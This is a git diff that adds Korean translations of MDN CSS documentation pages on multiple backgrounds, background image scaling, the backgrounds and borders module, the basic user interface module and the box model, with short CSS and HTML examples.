diff --git a/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..73d1758964
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
@@ -0,0 +1,55 @@
+---
+title: 여러개의 배경 지정하기
+slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+tags:
+  - CSS
+  - CSS Background
+  - Example
+  - Guide
+  - Intermediate
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<p>{{CSSRef}}</p>
+
+<p><a href="/ko/CSS" title="CSS3">CSS3</a>를 사용하면 엘리먼트에 <strong>여러개의 배경</strong>을 지정할 수 있다. 첫 번째로 지정한 배경이 가장 앞에 보이고 나중에 지정한 배경이 뒤에 보인다. 배경 색상({{ cssxref("color") }})는 맨 마지막에만 지정할 수 있다. </p>
+
+<p>여러개의 배경을 지정하는건 간단하다.</p>
+
+<pre class="brush: css">.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>배경에 관련된 다른 속성들은 {{ cssxref("background") }} 속성에 한꺼번에 지정할 수도 있고 리스트 형태로 각각 지정할 수도 있다.  하지만  {{ cssxref("background-color") }} 속성은 리스트 형태로 지정할 수 없다. 다음과 같은 속성들은 리스트 형태로 동시에 여러개 지정할 수 있다.  {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제에서는 파이어포스 로고, 선형 그라디언트, 꽃이 그려진 사진을 한 엘리먼트에 적용해본다. </p>
+
+<pre class="brush: css">.multi_bg_example {
+  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+  background-repeat: no-repeat, no-repeat, repeat;
+  background-position: bottom right, left, right;
+}
+</pre>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Result</td>
+  </tr>
+  <tr>
+   <td style="padding: 0;"><img alt="css_multibg.png" class="default internal" src="/@api/deki/files/4028/=css_multibg.png" style="display: block;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>첫 번째 배경으로 지정한(리스트에서 첫번째) 파이어폭스 로고가 맨 위에 보이고 선형 그라디언트, 꽃이 그려진 사진 순서대로 보인다. {{ cssxref("background-repeat") }} 와 {{ cssxref("background-position") }}) 속성들도 리스트 형태로 지정되었는데 순서대로 해당하는 배경에 적용된다. 예를 들어 {{ cssxref("background-repeat") }} 속성 중 첫 번째 no-repeat는 첫 번째 배경인 파이어폭스 로고에 적용된다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients" title="en/Using gradients">Using CSS gradients</a></li>
+</ul>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/index.html b/files/ko/web/css/css_backgrounds_and_borders/index.html
new file mode 100644
index 0000000000..4fc6295885
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/index.html
@@ -0,0 +1,113 @@
+---
+title: CSS 배경 및 테두리
+slug: Web/CSS/CSS_Backgrounds_and_Borders
+tags:
+  - CSS
+  - CSS Backgrounds and Borders
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>CSS Backgrounds and Borders</strong> 모듈의 스타일은 배경에 색과 이미지를 채우거나, 기타 다른 방식으로 수정할 수 있습니다. 또한 테두리를 선이나 이미지로 장식할 수 있고, 직각 뿐 아니라 원형 테두리로 만들 수도 있습니다.</span> (추가로, 요소 박스를 그림자로 꾸밀 수도 있습니다.)</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="도구">도구</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">다수의 배경 사용하기</a></dt>
+ <dd>하나의 요소에 여러 배경을 적용하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">배경 이미지 크기 조정하기</a></dt>
+ <dd>배경 이미지의 크기와 반복 여부를 설정하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a></dt>
+ <dd>HTML 요소에 테두리를 비롯한 색상을 CSS로 적용하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Background_and_Borders/Border-image_generator">Border-image 생성기</a></dt>
+ <dd>테두리 이미지를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Background_and_Borders/Border-radius_generator">Border-radius 생성기</a></dt>
+ <dd>둥근 모서리를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator">Box-shadow 생성기</a></dt>
+ <dd>요소 뒤의 그림자를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
new file mode 100644
index 0000000000..f3f0d6529b
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
@@ -0,0 +1,137 @@
+---
+title: 배경 이미지 크기 조정하기
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images
+tags:
+  - CSS
+  - CSS Background
+  - Example
+  - Guide
+  - Intermediate
+  - Reference
+  - Web
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">CSS 배경 이미지의 기본 설정값에서는 원본 이미지가 크기 변화 없이 바둑판식으로 배열됩니다. {{cssxref("background-size")}} 속성에 가로와 세로 크기를 지정해 크기를 바꿀 수 있습니다.</span> 이미지는 원하는대로 확대할 수도, 줄일 수도 있습니다.</p>
+
+<h2 id="큰_이미지_바둑판식_배열">큰 이미지 바둑판식 배열</h2>
+
+<p>2982x2808의 커다란 Firefox 이미지를 가지고 있다고 해보겠습니다. 모종의 이유(끔찍하게 잘못된 사이트 디자인 등)로 300x300 픽셀 요소에 저 이미지 4개를 바둑판식으로 보여야 합니다. <code>background-size</code>와 고정값 150 픽셀로 목표를 달성할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="tiledBackground"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;  highlight:[3]">.tiledBackground {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: 150px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  color: pink;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("큰_이미지_바둑판식_배열", 340, 340)}}</p>
+
+<h2 id="Stretching_an_image" name="Stretching_an_image">이미지 늘리기</h2>
+
+<p>가로와 세로 크기를 각각 지정할 수도 있습니다.</p>
+
+<pre class="brush:css">background-size: 300px 150px;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8967/ss2.png"></p>
+
+<h2 id="Scaling_an_image_up" name="Scaling_an_image_up">작은 이미지 키우기</h2>
+
+<p>반대로 배경 이미지를 키울 수도 있습니다. 다음 코드는 32x32 픽셀 파비콘을 300x300 픽셀로 늘린 결과입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8969/ss3.png"></p>
+
+<pre class="brush: css; highlight:[5]">.square2 {
+  background-image: url(favicon.png);
+  background-size: 300px;
+  width: 300px;
+  height: 300px;
+  border: 2px solid;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+</pre>
+
+<p>보시다시피 CSS는 이미지 파일 이름을 제외하면 동일합니다.</p>
+
+<h2 id="Special_values.3A_.22contain.22_and_.22cover.22" name="Special_values.3A_.22contain.22_and_.22cover.22">특별한 값: "contain" 과 "cover"</h2>
+
+<p>길이를 나타내는 {{cssxref("&lt;length&gt;")}} 값 대신, {{ cssxref("background-size") }} CSS 속성에 <code>contain</code> 과 <code>cover</code> 두개의 특별한 값을 지정할 수 있습니다. 살펴봅시다.</p>
+
+<h3 id="contain" name="contain"><code>contain</code></h3>
+
+<p><code>contain</code> 값을 지정하면, 배경 이미지의 가로, 세로 모두 요소보다 작다는 조건하에 가능한 크게 조정됩니다. 이미지의 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 작거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="bgSizeContain"&gt;
+  &lt;p&gt;Try resizing this element!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.bgSizeContain {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: contain;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('contain', 250, 250) }}</p>
+
+<h3 id="cover" name="cover"><code>cover</code></h3>
+
+<p>값을 <code>cover</code> 로 지정하면 배경이미지의 가로, 세로 길이 모두 요소보다 크다는 조건하에 가능한 배경 이미지를 작게 조정합니다. 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 크거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="bgSizeCover"&gt;
+  &lt;p&gt;Try resizing this element!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.bgSizeCover {
+  background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+  background-size: cover;
+  width: 160px;
+  height: 160px;
+  border: 2px solid;
+  color: pink;
+  resize: both;
+  overflow: scroll;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('cover', 250, 250) }}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{ cssxref("background-size") }}</li>
+ <li>{{ cssxref("background") }}</li>
+ <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li>
+</ul>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..1e0e3deeca
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
@@ -0,0 +1,59 @@
+---
+title: 한 번에 여러 배경 사용하기
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+tags:
+  - CSS
+  - CSS Background
+  - Example
+  - Guide
+  - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>여러 개의 배경</strong>을 한 번에 적용할 수도 있습니다. 첫 번째 배경이 맨 위에, 마지막 배경이 맨 밑에 위치하는 레이어 구조를 사용하게 됩니다.</span> 마지막 배경에만 배경색을 적용할 수 있습니다.</p>
+
+<p>여러 배경을 적용하는 건 쉽습니다.</p>
+
+<pre class="brush: css">.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>{{ cssxref("background") }} <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>뿐 아니라 {{cssxref("background-color")}}를 제외한 단일 속성에서도 사용할 수 있습니다. 즉, {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}에는 목록을 값으로 지정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 Firefox 로고, 거품, <a href="/ko/docs/Web/CSS/linear-gradient">선형 그레이디언트</a> 총 세 개의 배경을 사용합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="multi-bg-example"&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.multi-bg-example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png),
+      url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+      linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat,
+      no-repeat,
+      no-repeat;
+  background-position: bottom right,
+      left,
+      right;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제','600','400')}}</p>
+
+<p>결과에서 볼 수 있듯, {{cssxref("background-image")}}에서 첫 번째로 지정한 Firefox 로고가 맨 위, 그 다음이 거품 그림이고 선형 그레이디언트는 모든 '이미지' 밑에 위치합니다. 하위 속성({{ cssxref("background-repeat") }}, {{ cssxref("background-position") }})의 각 값도 순서에 맞는 배경에 적용됩니다. 따라서 <code>background-repeat</code>의 첫 번째 값은 처음(맨 위) 배경에 적용되고, 두 번째와 두 번째 배경, 세 번째와 세 번째 배경...도 같습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/CSS/Using_CSS_gradients" title="en/Using gradients">CSS 그레이디언트 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/css_basic_user_interface/index.html b/files/ko/web/css/css_basic_user_interface/index.html
new file mode 100644
index 0000000000..4baba659db
--- /dev/null
+++ b/files/ko/web/css/css_basic_user_interface/index.html
@@ -0,0 +1,75 @@
+---
+title: CSS Basic User Interface
+slug: Web/CSS/CSS_Basic_User_Interface
+tags:
+  - CSS
+  - CSS Basic User Interface
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Basic_User_Interface
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Basic User Interface</strong>는 사용자 인터페이스와 연관된 렌더링 및 기능의 동작 방식을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("appearance")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("ime-mode")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("nav-down")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-left")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-right")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-up")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("outline")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-offset")}}</li>
+ <li>{{CSSxRef("resize")}}</li>
+ <li>{{CSSxRef("text-overflow")}}</li>
+ <li>{{CSSxRef("user-select")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값에 URL 사용하기</a></dt>
+ <dd>URL을 {{cssxref("cursor")}} 속성에 사용해 사용자 지정 커서를 생성하는 방법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Basic UI")}}</td>
+   <td>{{Spec2("CSS4 Basic UI")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Basic UI")}}</td>
+   <td>{{Spec2("CSS3 Basic UI")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "ui.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_box_model/index.html b/files/ko/web/css/css_box_model/index.html
new file mode 100644
index 0000000000..aac36b356a
--- /dev/null
+++ b/files/ko/web/css/css_box_model/index.html
@@ -0,0 +1,113 @@
+---
+title: CSS Basic Box Model
+slug: Web/CSS/CSS_Box_Model
+tags:
+  - CSS
+  - CSS Box Model
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Basic Box Model</strong>은 각 요소에 대해 <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a>에 따라 생성하고 배치하는 사각형 박스(안팎 여백 포함)를 위한 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<h4 id="박스_내_콘텐츠_흐름을_제어하는_속성">박스 내 콘텐츠 흐름을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="박스_크기를_제어하는_속성">박스 크기를 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="박스의_바깥_여백을_제어하는_속성">박스의 바깥 여백을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("margin-trim")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h4 id="박스의_안쪽_여백을_제어하는_속성">박스의 안쪽 여백을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="기타_속성">기타 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="Introduction to the CSS box model">CSS 박스 모델 입문</a></dt>
+ <dd>CSS의 기초 개념 중 하나인 박스 모델을 설명합니다. 박스 모델은 CSS가 요소와 요소의 콘텐츠, 안쪽 여백, 테두리, 바깥 여백 영역을 배치하는 법을 정의합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing" title="Mastering margin collapsing">여백 상쇄 정복</a></dt>
+ <dd>어떤 경우, 두 개의 인접한 바깥 여백은 하나로 상쇄됩니다. 이 글은 상쇄가 언제 어떻게 일어나고 이를 어떻게 제어하는지 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a></dt>
+ <dd>시각적 서식 모델을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td><code>margin-trim</code> 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html
new file mode 100644
index 0000000000..dd7718f701
--- /dev/null
+++ b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html
@@ -0,0 +1,70 @@
+---
+title: CSS 기본 박스 모델 입문
+slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+tags:
+  - CSS
+  - CSS Box Model
+  - Guide
+  - Layout
+translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+---
+<div>{{CSSRef}}</div>
+
+<p>문서의 레이아웃을 계산할 때, 브라우저의 렌더링 엔진은 표준 <strong>CSS 기본 박스 모델</strong>에 따라 각각의 요소를 사각형 박스로 표현합니다. CSS는 박스의 크기, 위치, 속성(색, 배경, 테두리 모양 등)을 결정합니다.</p>
+
+<p>하나의 박스는 네 부분(영역)으로 이루어집니다. 각 영역을 콘텐츠 영역, 안쪽 여백(패딩) 영역, 테두리 영역, 그리고 바깥 여백(마진) 영역이라고 부릅니다.</p>
+
+<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
+
+<p><a id="content-area" name="content-area"><strong>콘텐츠 영역</strong></a>(content area)은 콘텐츠 경계(content edge)가 감싼 영역으로, 글이나 이미지, 비디오 등 요소의 실제 내용을 포함합니다. 콘텐츠 영역의 크기는 콘텐츠 너비(콘텐츠 박스 너비)와 콘텐츠 높이(콘텐츠 박스 높이)입니다. 배경색과 배경 이미지를 가지고 있기도 합니다.</p>
+
+<p>{{cssxref("box-sizing")}} 속성의 값이 기본값인 <code>content-box</code>이며 요소가 블록 레벨 요소인 경우, 콘텐츠 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 사용해 명시적으로 설정할 수 있습니다.</p>
+
+<p><a id="padding-area" name="padding-area"><strong>안쪽 여백 영역</strong></a>(패딩 영역, padding area)은 안쪽 여백 경계(padding edge)가 감싼 영역으로, 콘텐츠 영역을 요소의 안쪽 여백까지 포함하는 크기로 확장합니다. 영역의 크기는 안쪽 여백 박스 너비와 안쪽 여백 박스 높이입니다.</p>
+
+<p>안쪽 여백의 두께는 {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}와 단축 속성인 {{cssxref("padding")}}이 결정합니다.</p>
+
+<p><a id="border-area" name="border-area"><strong>테두리 영역</strong></a>(border area)은 테두리 경계(border edge)가 감싼 영역으로, 안쪽 여백 영역을 요소의 테두리까지 포함하는 크기로 확장합니다. 영역의 크기는 테두리 박스 너비와 테두리 박스 높이입니다.</p>
+
+<p>테두리의 두께는 {{cssxref("border-width")}}와 단축 속성인 {{cssxref("border")}}가 결정합니다. {{cssxref("box-sizing")}} 속성의 값이 <code>border-box</code>라면 테두리 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 명시적으로 설정할 수 있습니다. 박스의 배경({{cssxref("background-color")}} 또는 {{cssxref("background-image")}})은 테두리의 바깥 경계까지 늘어나고, 그릴 땐 테두리에 가려집니다. 이 동작 방식은 {{cssxref("background-clip")}} 속성으로 바꿀 수 있습니다.</p>
+
+<p><a id="margin-area" name="margin-area"><strong>바깥 여백 영역</strong></a>(마진 영역, margin area)은 바깥 여백 경계(margin edge)가 감싼 영역으로, 테두리 요소를 확장해 요소와 인근 요소 사이의 빈 공간까지 포함하도록 만듭니다. 영역의 크기는 바깥 여백 박스 너비와 바깥 여백 박스 높이입니다.</p>
+
+<p>바깥 여백 영역의 크기는 {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}와 단축 속성인 {{cssxref("margin")}}이 결정합니다. <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a>가 발생할 때는 요소 간에 바깥 여백이 공유되므로 여백 영역이 명확하게 결정되지 않습니다.</p>
+
+<p>끝으로, 비대체 인라인 요소가 차지하는 공간의 크기(줄 높이에 기여하는 양)는, 요소 주위에 테두리와 안쪽 여백이 표시되더라도 {{cssxref("line-height")}} 속성으로 결정한다는 점을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#intro')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Though more precisely worded, there is no practical change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName("CSS1","#formatting-model")}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+</ul>
